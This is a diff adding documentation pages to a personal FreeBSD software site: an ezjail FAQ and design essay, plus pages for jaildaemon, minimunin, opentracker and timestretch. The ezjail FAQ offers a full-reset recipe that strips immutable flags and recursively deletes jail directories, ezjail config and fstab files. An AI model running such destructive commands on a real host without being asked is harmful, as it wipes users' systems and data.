343 | Q: Why does ezjail want an extra copy of ports tree for its base jail? Isn't that just waste of disc space? Can't we just use the base systems ports tree? | ||
344 | A: Counter question: why do we need an extra copy of the base system? Isn't that just waste of disc space? Can't we just mount / as basejail to all jails? | ||
345 | |||
346 | ezjail philosophy very much is influenced by its history: it was created to simplify administration of a shell server with many actual users. Even if you would trust all your users, you may not trust all software they do install and hence not anything done in any Jail. So I decided to strictly seperate what you can access within Jails from everything the host system needs to operate. This boundary is ezjail_root. | ||
347 | |||
348 | For the ports case I would not like everyone to know which port is installed in host system, as might be guessed by work/-directories, this might reveal attack vectors to the host system. A problem like ignoring ro flags when mounting from fstab may give you an idea why I consider that boundary essential to system security. | ||
349 | |||
350 | If you know what you're doing and are sure, your host system has an WRKDIRPREFIX none of the Jails can access, you might follow these instructions to mount ports via nullfs. Another way of doing this is to mv /usr/ports/ /usr/jails/basejail/usr/ports/; ln -s /usr/jails/basejail/usr/ports /usr/ports; in host system. ezjail will not offer this as an option. | ||
351 | |||
352 | Q: What exactly is the difference between the template Jail and a Flavour? | ||
353 | A: In simple words: THE template is all directories that FreeBSD thinks your system needs besides the sharable files in your basejail, like /etc/ and /var/. It is being recreated everytime you ezjail-admin update. So it is not meant to be modified by the user to distribute settings to all Jails to be created. A Flavour on the other hand is set up by the user, contains all non-sharable files not in the base system that you think belongs to a newly created Jail (usually stuff in /usr/local/ and your settings in /etc/). You may have several Flavours each customized for a certain job: an httpd-Flavour, a shell-server only Flavour, a full featured bamp-server and so on. Flavours are never modified by ezjail, the template should not be modified by the user. | ||
354 | |||
355 | Q: I am running version x of ezjail and want to upgrade to version y. Is there a safe upgrade path without losing all of my Jails? | ||
356 | A: ezjail is basically just two scripts. The config files have been designed to be future compatible. So installing any version from ports, cvs or tar ball by ezjails Makefile will do the job of upgrading. Your Jails are safe. | ||
357 | |||
358 | Q: I have created some jails prior to using ezjail. How can I import them as ezjails? | ||
359 | A: There now is an import helper script in the ezjail tar bundle that assist you with moving complete systems into ezjails by turning them into ezjail-admin restore-able ezjail archives. | ||
360 | |||
361 | A: Assume your Jail is under /legacyjail Basically you only need to create an empty directory /legacyjail/basejail/ and call ezjail-admin create -x -r /legacyjail JAILNAME JAILIP and your Jail enjoys all of ezjails starting/stopping capabilities.. | ||
362 | |||
363 | To make the Jail a complete ezjail, e.g. use the basejail/, use the following code snippet after stopping the Jail. (Replace /legacyjail with the path to your Jail). | ||
364 | |||
365 | .. code-block:: sh | ||
366 | |||
367 | cd /legacyjail | ||
368 | mkdir OLDBASE | ||
369 | for dir in bin boot lib libexec rescue sbin usr/bin usr/include usr/lib usr/libexec usr/ports usr/sbin usr/src usr/share; do | ||
370 | mv ${dir} OLDBASE/; ln -s /basejail/${dir} ${dir} | ||
371 | done | ||
372 | |||
373 | There is a chance that your binaries require some of the libraries in its old base system. If they don't, you can remove OLDBASE, if they do, use the following snippet to create the old libs. | ||
374 | |||
375 | Q: The clock inside my Jails always shows the wrong time. Why is that? | ||
376 | A: Create a soft link from /etc/localtime to the appropriate time zone file, in my case: /usr/share/zoneinfo/Europe/Berlin. | ||
377 | |||
378 | Q: I messed up the whole show and ezjails files are around EVERYWHERE. Some of them wont even go away, if I rm -rf them as root. How do I get a clean start? | ||
379 | A: On a standard FreeBSD installation several files are being installed with the "system immutable" flag set. Type man chflags for more details. However, to reset everything to a state with no jails and no files lurking around use the following lines, on kern secure level 0, as root, on a standard ``ezjail.conf`` | ||
380 | |||
381 | .. code-block:: sh | ||
382 | |||
383 | chflags -R noschg /usr/jails/ | ||
384 | rm -rf /usr/jails/ | ||
385 | rm -rf /usr/local/etc/ezjail/ | ||
386 | rm /etc/fstab.* | ||
387 | |||
388 | If you configured ezjail to use zfs, you can just throw away ezjail's parent zfs, as configured in ezjail_jailzfs. | ||
389 | |||
390 | Q: Your HTML sucks. | ||
391 | A: This is not a question. But yeah, I know. | ||
392 | |||
393 | ---- | ||
394 | |||
395 | Author/Contact | ||
396 | ============== | ||
397 | |||
398 | ezjail was written by Dirk Engling with lot of support from the ezjail community. We like to hear from happy customers. My personal address is erdgeist@erdgeist.org. Requests should go to the project mailing list ezjail@erdgeist.org. You can subscribe to that list at ezjail-subscribe@erdgeist.org. There is an IRC channel #ezjail on ircnet. Please send bug reports, comments and feature requests. Donations are welcome… in form of beer. See… | ||
399 | |||
400 | ---- | ||
401 | |||
402 | License | ||
403 | ======= | ||
404 | |||
405 | ezjail is considered `beer ware </beerware.html>`_. | ||
406 | |||
407 | ---- | ||
408 | |||
409 | Thanks | ||
410 | ====== | ||
411 | |||
412 | Here I need to re-add a modernized list of thanks. | ||
diff --git a/stories/projects/ezjail_philosophy.rst b/stories/projects/ezjail_philosophy.rst new file mode 100644 index 0000000..52e2f7f --- /dev/null +++ b/stories/projects/ezjail_philosophy.rst | |||
@@ -0,0 +1,50 @@ | |||
1 | .. link: | ||
2 | .. description: the philosophy behind the ezjail framework | ||
3 | .. tags: | ||
4 | .. date: 2015/02/01 19:10:08 | ||
5 | .. title: ezjail - philosophy | ||
6 | .. slug: ../arts/software/ezjail/philosophy | ||
7 | |||
8 | .. contents:: | ||
9 | :depth: 1 | ||
10 | :class: ezjail-toc | ||
11 | |||
12 | ---- | ||
13 | |||
14 | Overview | ||
15 | ======== | ||
16 | |||
17 | Computer programs tend to contain programming errors. Chances to avoid them in every program that provides services to the internet are low. What is needed is a way of limiting the impact of programming errors to the system hosting the service. | ||
18 | |||
19 | Computers become faster and their resources in terms of memory, mass storage and internet connectivity can suite several users at once. This led to the development of time sharing computing, most popular in Unix. The next level of abstraction is virtual servers enabling every owner of such an entity to create users and use the power of multitasking as well, without even noticing that the machine is not completely under his control. | ||
20 | |||
21 | Some server software expects its configuration to be always in the same location in file system and makes changing this location difficult to impossible. Some server software requires certain privileges you would not want to grant it, even if you would assume it being error-free. Some users want certain privileges you would not want to grant them, even if you would assume they know what they are doing. What is needed is a way of limiting the impact of permissions you have to grant. | ||
22 | |||
23 | Historical approaches | ||
24 | ===================== | ||
25 | |||
26 | Several approaches to achieve most of the above have been made. It has shown that the most secure way to do so is to physically separate services to different machines. Of course, this has its costs, is a lot more complex since you have to reproduce and administrate the setup over and over. And, of course, it contradicts the idea of using the grown performance as shown in the second paragraph. Luckily most of the problems were solvable, solutions being condensed in the ezjail script set. | ||
27 | |||
28 | FreeBSD has introduced the concept of jails to eliminate shortcomings seen in so called chroot-environments. chroot changes the file system root for certain programs, leaving them without any means of even expressing the need for access to resources outside their constricted world. Jails take this approach a little further, they represent virtual computers (virtual server), each bound to a single internet address having its file system root somewhere under the real computers (hosting server) file system root. Certain rulesets forbid jailed programs access to specific devices, for example hard drives or kernel memory. | ||
29 | |||
30 | In theory this concept enables you to lock in each (server-)program you run on your computer to its own virtual world limiting the impact it may (deliberately or by mistake) have on other services. In practice each program depends on a set of libraries, tools, configuration directories, system users, other installed software and so on. In short: most servers need at least a small subset of the host servers operating system (OS). Complete virtual servers, of course, need a whole copy of the host servers OS. | ||
31 | |||
32 | Problems in historical approaches | ||
33 | ================================= | ||
34 | |||
35 | Locking in a single program that way may work out fine, as it "only" doubles the size your operating system needs on hard disc, and hard disc space is becoming cheaper as I write, the FreeBSD OS only needs around 100MB. However, copying all the data does not scale well when you need hundreds of programs being jailed or want to provide dozens of virtual computers. Further, distributing OS software updates to all this instances, which possibly even were created from different versions of the OS source code, becomes an administration nightmare. | ||
36 | |||
37 | Although hard disc space is becoming less of an issue, OSs tend to assume the space rather being occupied by few large files then many small files. So they reserve a limited number of control structures for storing files and directories, called "inodes". Now, copying the whole OS many times consumes many of those valuable inodes on disc, eventually preventing the creation of new virtual servers. Worse: since each library, each executable and each configuration file of the OS exists as several copies, the OS has no way of telling that they're the same and thus has to load each copy to memory, if any of the virtual servers or jailed programs need them. | ||
38 | |||
39 | To complete the picture of the situation I was confronted with when starting the ezjail project: the way to install a copy of the OS to create a virtual server involved (and still involves) installing a copy of the OS source code and invoking several commands to compile, install and configure it. This still left the administrator with the need to start the virtual server by hand and entering a lot of complicated configuration statements to the OSs startup scripts in order to have them run automatically when the server starts up. Jailing programs or virtual servers was rather complicated, achieving any of the goals set at the beginning of this text far away. | ||
40 | |||
41 | Developing a solution | ||
42 | ===================== | ||
43 | |||
44 | It was very helpful that Unix' file system hierarchy reflects historic optimizations. The `Filesystem Hierarchy Standard <http://www.pathname.com/fhs/>`_ defines a set of "sharable files", mostly OS binaries, libraries, header files and resources. Those directories are meant to be shared by several computers (via Net-boot, eventually read only from CD-ROM). "unsharable files" on the other hand, contain configuration data, dynamic data like user mails, installed applications etc. While the former directories only need to exist once for all jails and can be provided in a read only fashion, the latter must be provided for each jail and, of course, be writable. | ||
45 | |||
46 | And here a path to the solution shows: most modern OSs know a way of "local mount"/"loopback mount"/"null mount" directories back into the directory hierarchy. That way it is possible to provide all sharable files in a read only fashion to the chroot environment of jailed programs. All unique data a virtual server need is in the "unshared files" which must be copied for each of them. Fortunately, these files are just 2MB in size on the FreeBSD OS. How the sharable files are being provided is subject to implementation. The ezjail project mounts one directory containing all those shareable files and provides soft links from all directories not in the unshared files part of the OS. | ||
47 | |||
48 | Besides having a central point for OS updating all instances at once, this approach can prevent standard root kits to install, since most of the binaries they usually replace are in the unshared files, yet, when someone really wants to install their own version of the OS binaries, one can do so by just removing the soft links and provide self compiled system binaries. System administrators know exactly, which OS version problems in virtual servers are related to, since all virtual servers have the same base system. | ||
49 | |||
50 | Everything left to do is to provide a neat interface, do some sanity checks, wrap it properly around the existing scripts of your OS and find a nice name. In my case: `ezjail <ezjail.html>`_. | ||
diff --git a/stories/projects/jaildaemon.rst b/stories/projects/jaildaemon.rst new file mode 100644 index 0000000..cc818e3 --- /dev/null +++ b/stories/projects/jaildaemon.rst | |||
@@ -0,0 +1,77 @@ | |||
1 | .. description: is a tool for the FreeBSD operating system to allow flexible and secure communication from jail environments to the host system. | ||
2 | .. tags: project | ||
3 | .. date: 2015/02/18 19:10:08 | ||
4 | .. title: jaildaemon | ||
5 | .. subtitle: A fixed command-line interface for FreeBSD jails to their host system | ||
6 | .. slug: ../arts/software/jaildaemon/index | ||
7 | .. prio: 850 | ||
8 | |||
9 | .. contents:: | ||
10 | :depth: 1 | ||
11 | :class: ezjail-toc | ||
12 | |||
13 | ---- | ||
14 | |||
15 | Overview | ||
16 | ======== | ||
17 | |||
18 | .. image:: http://www.freebsd.org/gifs/daemon_hammer-tn25.jpg | ||
19 | :align: right | ||
20 | |||
21 | Virtual FreeBSD jail based server environments can not easily trigger actions in the host system, most prominently restarting themselves (if they ``kill -1`` everything, they usually stay shut down) and trigger actions like routing table updates, triggering zfs snapshots or rollbacks and configuring ``tun/tap``-Devices (as an openvpnd would). | ||
22 | |||
23 | There are several less-than-optimal solutions for that problem: granting forced-command ssh access to jails, polling some Jail-state from within the host system or dig some proprietary socket holes through the Jail's barrier, exposing a root-shell attack vector to the outside world. | ||
24 | |||
25 | *jaildaemon* aims to solve the problem in a simple and straight forward way while trying to minimize the attack surface for adversaries from the Jail and the network. It is a tiny daemon running in the host system that forks a probe process with a single associated command on demand, attaches it to a single jail and (optionally) assigns it a verbose proctitle. When the Jail's root user sends a SIGHUP to this probe process, it dies with a magic exit code, signalling the daemon to execute the associated command (in host context). You can chose to have the daemon restart the probe process after the command is executed (e.g. when it triggers updating routing tables) or just wait for it to be restarted by the Jail management tool (e.g. when using ``/usr/local/etc/rc.d/ezjail restart shell.foo.com`` as a reboot helper). | ||
26 | |||
27 | ---- | ||
28 | |||
29 | Code | ||
30 | ==== | ||
31 | |||
32 | You can always get the latest version of *jaildaemon*, use ``git clone git://erdgeist.org/jaildaemon`` or the legacy view ``cvs -d :pserver:anoncvs@cvs.erdgeist.org:/home/cvsroot co jaildaemon`` with an empty password to check it out. There is a *jaildaemon* tarball, but no versioning yet. You can scroll through the source at `jaildaemon gitweb </gitweb/jaildaemon>`_ or `jaildaemon cvsweb (deprecated) </cvsweb/jaildaemon>`_. Typing ``make install`` installs the binary in your ``${PREFIX}/bin`` (or ``/usr/local``, if none is set) and the rc-script to ``${PREFIX}/etc/rc.d/``. | ||
33 | |||
34 | A tight integration with `ezjail </arts/software/ezjail/>`_ is, of course, following soon. | ||
35 | |||
36 | ---- | ||
37 | |||
38 | Examples | ||
39 | ======== | ||
40 | |||
41 | Start the daemon as root with ``jaildaemon -D``, with optional parameters ``p`` and ``f`` to request the pidfile being written or to specify a different controlling command unix domain socket location (that is used by *jaildaemon* when run in client mode to communicate with the server, and defaults to ``/var/run/jaildaemon.pipe``), respectively. | ||
42 | |||
43 | If you installed the package, you can just enable *jaildaemon* in your ``/etc/rc.conf``, by adding ``jaildaemon_enable=YES``. It should then start at reboot, or when you run ``/usr/local/etc/rc.d/jaildaemon start``. | ||
44 | |||
45 | Start a new probe process in a Jail (in this example jid 23) to trigger the execution of the script:: | ||
46 | |||
47 | /usr/local/bin/parse_route_config -s /usr/jails/shell.foo.com/ | ||
48 | |||
49 | while identifying as 'route config update' in the jail and respawn:: | ||
50 | |||
51 | jaildaemon -j 23 -c '/usr/local/bin/parse_route_config -s /usr/jails/shell.foo.com/' -t 'route config update' -r | ||
52 | |||
53 | From within the jail (``ezjail-admin console shell.foo.com``) trigger the command by ``pkill -HUP -f 'route config update'``. | ||
54 | |||
55 | Start a (non-spawning) Jail reboot trigger:: | ||
56 | |||
57 | jaildaemon -j 23 -c '/usr/local/etc/rc.d/ezjail restart shell.foo.com' -t REBOOT | ||
58 | |||
59 | Now, from within that Jail, reboot via ``pkill -HUP -f REBOOT``. | ||
60 | |||
61 | ---- | ||
62 | |||
63 | Version history | ||
64 | =============== | ||
65 | |||
66 | * Version 0.2: | ||
67 | |||
68 | * Fixed a bug where *jaildaemon* when run from /etc/rc would ignore SIGHUP by default. | ||
69 | * You can now make the probe drop into another uid, so that non-root-processes can trigger actions, as well. | ||
70 | * Allow *jaildaemon* to accept the jailname for the -j parameter, as well. | ||
71 | |||
72 | ---- | ||
73 | |||
74 | License | ||
75 | ======= | ||
76 | |||
77 | *jaildaemon* was written by `Dirk Engling <mailto:erdgeist@erdgeist.org>`_ with lots of help from sg and is considered `beer ware </beerware.html>`_. | ||
diff --git a/stories/projects/minimunin.rst b/stories/projects/minimunin.rst new file mode 100644 index 0000000..170c30a --- /dev/null +++ b/stories/projects/minimunin.rst | |||
@@ -0,0 +1,75 @@ | |||
1 | .. link: | ||
2 | .. description: is a tiny munin-node implementation for FreeBSD written in pure bourne shell providing basic plugin support. | ||
3 | .. tags: project | ||
4 | .. date: 2015/02/01 19:10:08 | ||
5 | .. title: minimunin | ||
6 | .. subtitle: A tiny munin-node implementation for FreeBSD written in pure bourne shell providing basic plugin support | ||
7 | .. slug: ../arts/software/minimunin/index | ||
8 | .. prio: 800 | ||
9 | |||
10 | .. contents:: | ||
11 | :depth: 1 | ||
12 | :class: ezjail-toc | ||
13 | |||
14 | ---- | ||
15 | |||
16 | Overview | ||
17 | ======== | ||
18 | |||
19 | .. image:: http://www.freebsd.org/gifs/daemon_hammer-tn25.jpg | ||
20 | :align: right | ||
21 | |||
22 | `munin <http://munin-monitoring.org/>`_ is an open source multi platform service monitoring framework, written in perl. Munin nodes report server statistics to their respective masters. Unfortunally, the munin-node script is written in perl, too – even though the language features never actually are used. On a FreeBSD system this introduces unnecessary dependencies. *minimunin* tries to address this: It was implemented as a simple shell script triggered from inetd.conf and comes with some handy built in monitoring commands. Most of the munin plugins should also work. | ||
23 | |||
24 | ---- | ||
25 | |||
26 | Code | ||
27 | ==== | ||
28 | |||
29 | You can always get the latest version of *minimunin*, use ``git clone git://erdgeist.org/minimunin` or the legacy view ``cvs -d :pserver:anoncvs@cvs.erdgeist.org:/home/cvsroot co minimunin`` with an empty password to check it out. There is a `minimunin tarball <minimunin-0.2.tar.bz2>`_. You can scroll through the source at `minimunin gitweb </gitweb/minimunin>` or `minimunin cvsweb (deprecated) </cvsweb/minimunin>`_. Typing ``make install`` installs the binary in your ``${PREFIX}/bin`` (or ``/usr/local``, if none is set). | ||
30 | |||
31 | ---- | ||
32 | |||
33 | Installation | ||
34 | ============ | ||
35 | |||
36 | After getting *minimunin* either from source or by installing the FreeBSD port/package, you need to activate *minimunin*. Just add the line:: | ||
37 | |||
38 | munin stream tcp nowait nobody /usr/libexec/tcpd /usr/local/bin/minimunin | ||
39 | |||
40 | to your ``/etc/inetd.conf``. Alternatively, if you plan to run plugins that require root permissions (e.g. for changing to a different user via the plugin config), add:: | ||
41 | |||
42 | munin stream tcp nowait root /usr/libexec/tcpd /usr/local/bin/minimunin`` to your ``/etc/inetd.conf | ||
43 | |||
44 | In both cases you need to enable inetd by setting ``inetd_enable="YES"`` in your ``/etc/rc.conf`` and restart inetd with the ``service inetd start`` command. You may also want to restrict access to your munin node via the ``/etc/hosts.allow`` and ``/etc/hosts.deny`` configuration files. | ||
45 | |||
46 | ---- | ||
47 | |||
48 | Plugins | ||
49 | ======= | ||
50 | |||
51 | Munin has been designed to allow administrators to `write their own plugins <http://munin-monitoring.org/wiki/HowToWritePlugins>`_ to provide statistics not covered by the base installation. You can find `many munin plugins here <http://munin-monitoring.org/browser/munin-contrib/plugins>`_. *minimunin* can execute those plugins, as well. It expects plugin files in the folder /usr/local/etc/minimunin-plugins and will ignore `wild card plugins <http://munin-monitoring.org/wiki/WildcardPlugins>`_. In order to use them (after reading the documentation on the project website ;) create the appropriate soft link, e.g. ``ln -s if_ /usr/local/etc/minimunin-plugins/if_bge0``. Please note that the plugins must be executable and you may need to install further dependencies for plugins, such as perl, python or monitoring helpers. | ||
52 | |||
53 | munin plugins `can be configured with ini-file style config files <http://munin-monitoring.org/wiki/plugin-conf.d>`_. *minimunin* expects config to reside under ``/usr/local/etc/minimunin-configs``, either as a single config file or a directory containing respective configs. Currently *minimunin* only supports the config parameters ``env.``-variables, ``user`` and ``command``. The ``group`` and ``timeout`` config parameters are not supported. The ``user`` parameter only works if *minimunin* finds itself being root and otherwise silently ignores the ``user`` parameter. | ||
54 | |||
55 | ---- | ||
56 | |||
57 | Version history | ||
58 | =============== | ||
59 | |||
60 | * V0.2 `minimunin-0.2.tar.bz2 <minimunin-0.2.tar.bz2>`_ (2014-13-02) | ||
61 | |||
62 | * Fixed a bug where uptime was not reported correctly. Thanks to Lothar Schmidt. | ||
63 | * Fixed a bug where only the last environment setting of a plugin config was obeyed. Thanks to Philipp Wünsche. | ||
64 | * V0.1 `minimunin-0.1.tar.bz2 <minimunin-0.1.tar.bz2>`_ (2013-09-29) | ||
65 | |||
66 | * First version, no diffs to previous ones ;) | ||
67 | |||
68 | ---- | ||
69 | |||
70 | License | ||
71 | ======= | ||
72 | |||
73 | *minimunin* was written by `Dirk Engling <mailto:erdgeist@erdgeist.org>`_ and is considered `beer ware </beerware.html>`_. | ||
74 | |||
75 | Please do not even think about hesitating to contact me via email or `@erdgeist <http://twitter.com/erdgeist>`_ on twitter. | ||
diff --git a/stories/projects/opentracker.rst b/stories/projects/opentracker.rst new file mode 100644 index 0000000..294d2c9 --- /dev/null +++ b/stories/projects/opentracker.rst | |||
@@ -0,0 +1,136 @@ | |||
1 | .. link: | ||
2 | .. description: is a highly scalable tracker software for the bittorrent protocol, currently in use on the largest bulk trackers around. | ||
3 | .. tags: project | ||
4 | .. date: 2015/02/19 19:10:08 | ||
5 | .. title: opentracker | ||
6 | .. subtitle: An open and free bittorrent tracker | ||
7 | .. slug: ../arts/software/opentracker/index | ||
8 | .. prio: 1000 | ||
9 | |||
10 | .. contents:: | ||
11 | :depth: 1 | ||
12 | :class: ezjail-toc | ||
13 | |||
14 | ---- | ||
15 | |||
16 | .. image:: opentracker_beta3.png | ||
17 | :align: left | ||
18 | :width: 200px | ||
19 | |||
20 | Overview | ||
21 | ======== | ||
22 | |||
23 | *opentracker* is a open and free `bittorrent tracker <http://wiki.theory.org/BitTorrentSpecification>`_ project. It aims for minimal resource usage and is intended to run at your wlan router. Currently it is deployed as an open and free tracker instance. Read our `free and open tracker blog <http://opentracker.blog.h3q.com/>`_ and announce your torrents there (but do not hesitate to setup your own free trackers!). | ||
24 | |||
25 | ---- | ||
26 | |||
27 | Version History | ||
28 | =============== | ||
29 | |||
30 | *opentracker* is currently only available from CVS. A tar ball will be rolled soon. Use ``git clone git://erdgeist.org/opentracker`` or the legacy view ``cvs -d :pserver:anoncvs@cvs.erdgeist.org:/home/cvsroot co opentracker`` with an empty passwort to check it out. An `*opentracker* gitweb </gitweb/opentracker/>`_ and an `*opentracker* cvsweb (deprecated) </cvsweb/opentracker/>`_ are available. | ||
31 | |||
32 | ---- | ||
33 | |||
34 | Build instructions | ||
35 | ================== | ||
36 | |||
37 | Until *opentracker* is declared official release ready, the way to install it is:: | ||
38 | |||
39 | cvs -d :pserver:cvs@cvs.fefe.de:/cvs -z9 co libowfat | ||
40 | cd libowfat | ||
41 | make | ||
42 | cd .. | ||
43 | # LEGACY: cvs -d:pserver:anoncvs@cvs.erdgeist.org:/home/cvsroot co opentracker | ||
44 | git clone git://erdgeist.org/opentracker | ||
45 | cd opentracker | ||
46 | make | ||
47 | |||
48 | That should leave you with an exectuable called ``opentracker`` and one debug version ``opentracker.debug``. | ||
49 | |||
50 | Some variables in *opentracker*'s Makefile control features and behaviour of *opentracker*. Here they are: | ||
51 | |||
52 | * ``-DWANT_V6`` makes *opentracker* an IPv6-only tracker. More in the v6-section below. | ||
53 | * *opentracker* can deliver gzip compressed full scrapes. Enable this with ``-DWANT_COMPRESSION_GZIP`` option. | ||
54 | * Normally *opentracker* tracks any torrent announced to it. You can change that behaviour by enabling ONE of ``-DWANT_ACCESSLIST_BLACK`` or ``-DWANT_ACCESSLIST_WHITE``. Note, that you have to provide a whitelist file in order to make *opentracker* do anything in the latter case. More in the closed mode section below. | ||
55 | * *opentracker* can run in a cluster. Enable this behaviour by enabling ``-DWANT_SYNC_LIVE``. Note, that you have to configure your cluster before you can use *opentracker* when this option is on. | ||
56 | * Some statistics *opentracker* can provide are sensitive. You can restrict access to these statistics by enabling ``-DWANT_RESTRICT_STATS``. See section statistics for more details. | ||
57 | * Fullscrapes is bittorrent's way to query a tracker for all tracked torrents. Since it's in the standard, it is enabled by default. Disable it by commenting out ``-DWANT_FULLSCRAPE``. | ||
58 | * By default *opentracker* will only allow the connecting endpoint's IP address to be announced. Bittorrent standard allows clients to provide an IP address in its query string. You can make *opentracker* use this IP address by enabling ``-DWANT_IP_FROM_QUERY_STRING``. | ||
59 | * Some experimental or older, deprecated features can be enabled by the ``-DWANT_LOG_NETWORKS``, ``-DWANT_SYNC_SCRAPE`` or ``-DWANT_IP_FROM_PROXY`` switch. | ||
60 | * Currently there is some packages for some linux distributions and OpenBSD around, but some of them patch Makefile and default config to make *opentracker* closed by default. I explicitly don't endorse those packages and will not give support for problems stemming from these missconfigurations. | ||
61 | |||
62 | ---- | ||
63 | |||
64 | Invocation | ||
65 | ========== | ||
66 | |||
67 | *opentracker* can be run by just typing ``./opentracker``. This will make *opentracker* bind to ``0.0.0.0:6969`` and happily serve all torrents presented to it. If ran as root, *opentracker* will immediately chroot to . (or any directory given with the -d option) and drop all priviliges after binding to whatever tcp or udp ports it is requested. | ||
68 | |||
69 | When options were few, *opentracker* used to accept all of them from command line. While this still is possible for most options, using them is quite unhandy: an example invocation would look like ``./opentracker -i 23.23.23.7 -p 80 -P 80 -p 6969 -i 23.23.23.8 -p 80 -r http://www.mytorrentsite.com/ -d /usr/local/etc/opentracker -w mytorrents.list -A 127.0.0.1``. | ||
70 | |||
71 | *opentracker* now uses a config file that you can provide with the ``-f`` switch. | ||
72 | |||
73 | ---- | ||
74 | |||
75 | Config file | ||
76 | =========== | ||
77 | |||
78 | *opentracker*'s config file is very straight forward and a very well documented example config can be found in the file `opentracker.conf.sample </gitweb/opentracker/tree/opentracker.conf.sample>`_. | ||
79 | |||
80 | ---- | ||
81 | |||
82 | Closed mode | ||
83 | =========== | ||
84 | |||
85 | While personally I like my tracker to be open, I can see that there's people that want to control what torrents to track – or not to track. If you've compiled *opentracker* with one of the accesslist-options (see Build instructions above), you can control which torrents are tracked by providing a file that contains a list of human readable info_hashes. An example whitelist file would look like :: | ||
86 | |||
87 | 0123456789abcdef0123456789abcdef01234567 | ||
88 | 890123456789abcdef0123456789abcdef012345 | ||
89 | |||
90 | To make *opentracker* reload it's white/blacklist, send a ``SIGHUP`` unix signal. | ||
91 | |||
92 | ---- | ||
93 | |||
94 | Statistics | ||
95 | ========== | ||
96 | |||
97 | Given its very network centric approach, talking to *opentracker* via http comes very naturally. Besides the ``/announce`` and ``/scrape`` paths, there is a third path you can access the tracker by: ``/stats``. This request takes parameters, for a quick overview just inquire `/stats?mode=everything``. | ||
98 | |||
99 | Statistics have grown over time and are currently not very tidied up. Most modes were written to dump legacy-SNMP-style blocks that can easily be monitored by `MRTG <http://oss.oetiker.ch/mrtg/>`_. These modes are: ``peer``, ``conn``, ``scrp``, ``udp4``, ``tcp4``, ``busy``, ``torr``, ``fscr``, ``completed``, ``syncs``. I'm not going to explain these here. | ||
100 | |||
101 | The ``statedump`` mode dumps non-recreatable states of the tracker so you can later reconstruct an *opentracker* session with the -l option. This is beta and wildly undocumented. | ||
102 | |||
103 | You can inquire *opentracker*'s version (i.e. CVS versions of all its objects) using the ``version`` mode. | ||
104 | |||
105 | ---- | ||
106 | |||
107 | Philosophy | ||
108 | ========== | ||
109 | |||
110 | A torrent tracker basically is an http-Server that collects all clients ip addresses into pools sorted by one of the request strings parameters and answers all other clients that specified this exact same parameter a list of all other recent clients. All technologies to implement this are around for more than twenty years. Still most implementations suck performancewise. | ||
111 | |||
112 | Utilizing the highly scalable server framework from `libowfat <http://www.fefe.de/libowfat/>`_, *opentracker* can easily serve multiple thousands of requests on a standard plastic WLAN-router, limited only by your kernels capabilities ;) | ||
113 | |||
114 | One important design decision of *opentracker* was to not store any data persistently. This reduces wear&tear on hard disks and eliminates problems with corrupt databases. | ||
115 | |||
116 | ---- | ||
117 | |||
118 | Author | ||
119 | ====== | ||
120 | |||
121 | *opentracker* was written by `Dirk Engling <mailto:erdgeist@erdgeist.org>`_, who likes to hear from happy customers. | ||
122 | |||
123 | ---- | ||
124 | |||
125 | Thanks | ||
126 | ====== | ||
127 | |||
128 | A project like this one is impossible without lots of help from friends. It is powered by beer, much energy and love, batches of bug reports and support on the operating system integration side by denis, taklamakan, cryx, supergrobi and – his libowfat always on the bleeding edge – Fefe. Thanks are also due to Hannes for helping me out with designing internal data representation. | ||
129 | |||
130 | ---- | ||
131 | |||
132 | License | ||
133 | ======= | ||
134 | |||
135 | *opentracker* is considered `beer ware </beerware.html>`_. | ||
136 | |||
diff --git a/stories/projects/timestretch.rst b/stories/projects/timestretch.rst new file mode 100644 index 0000000..15ce5ca --- /dev/null +++ b/stories/projects/timestretch.rst | |||
@@ -0,0 +1,63 @@ | |||
1 | .. link: | ||
2 | .. description: is a fast implementation for SOLA, a sample time stretching algorithm. | ||
3 | .. tags: project | ||
4 | .. date: 2015/02/01 19:10:08 | ||
5 | .. title: timestretch | ||
6 | .. subtitle: a fast sample time stretching implementation | ||
7 | .. slug: ../arts/software/timestretch/index | ||
8 | |||
9 | .. contents:: | ||
10 | :depth: 1 | ||
11 | :class: ezjail-toc | ||
12 | |||
13 | Overview | ||
14 | ======== | ||
15 | |||
16 | When reducing or increasing the playback speed of an audio recording, it's pitch usually changes, leading to an audible "mickey mouse" effect. The `SOLA algorithm <http://en.wikipedia.org/wiki/Audio_time-scale/pitch_modification#SOLA>`_ provides a way to change the speed without altering the pitch. | ||
17 | |||
18 | ---- | ||
19 | |||
20 | Details | ||
21 | ======= | ||
22 | |||
23 | The basic idea behind the method lies in the inherent redundancy in the periodic waves of spoken words or music. A vowel consists of overlayed and repeating waves where a human ear would not mind a single one of those repetitions being there or not: | ||
24 | |||
25 | .. image:: timestretch_1.png | ||
26 | |||
27 | |||
28 | If we want to play a sample faster, we can try to find the period length corresponding to the base frequency of the recording in that place and overlap some periods, cross fading the first snippet one into the other. Or put it more visually intuitive: | ||
29 | |||
30 | .. image:: timestretch_2.png | ||
31 | |||
32 | |||
33 | Obviously the recording is shorter than before, meaning it can be played in less time. In order to reduce the play time by a fixed ratio, we can alter the length of the overlapping windows (bright blue). | ||
34 | |||
35 | To find the perfect offset to overlay our samples at, we simply brute force the sum of all differences of all samples for each offset, using the `mean squared error <http://en.wikipedia.org/wiki/Mean_squared_error>`_ and selecting the offset where the error is minimal – a process commonly called auto correlation. In our implementation this error is further biased towards the center of our window, so that the algorithm is not forced into selecting some sub optimal (and audibly bad) positions after a while, if the inherent period length the overlapping length differs only slightly. | ||
36 | |||
37 | ---- | ||
38 | |||
39 | Build instructions | ||
40 | ================== | ||
41 | |||
42 | *timestretch* is available from my git repository. Use ``git clone git://erdgeist.org/timestretch`` to check it out. An `timestretch gitweb </gitweb/timestretch/>`_ is available. | ||
43 | |||
44 | Currently there's only one source file containing the setup routine ``calc_convert_values``, which takes sample rate (used to calculate a proper window length in ms, based on heuristic values) and a tempo, which is a floating point value giving the rate in which to slow down or speed up the recording. It fills global variables you might want to put in a context struct for your project. At exit, the value ``g_input_length`` is the minimum number of samples expected for later processing, ``g_output_length`` is the exact amount of samples produced by each run. | ||
45 | |||
46 | The actual work is done in the ``process_frame`` function which takes a pointer to the input and output buffer, the pointer to some scratch space (set up in ``calc_convert_values`` in this implementation) and a ``frame_flag`` indicating if this is the first frame (where nothing is there to cross fade with), a normal frame and the last frame, where no samples are kept for later cross fading and the caller can continue to resume to non-timestretched playback again. | ||
47 | |||
48 | ---- | ||
49 | |||
50 | Author | ||
51 | ====== | ||
52 | |||
53 | *timestretch* was written by `Dirk Engling <mailto:erdgeist@erdgeist.org>`_, who likes to hear from happy customers. | ||
54 | |||
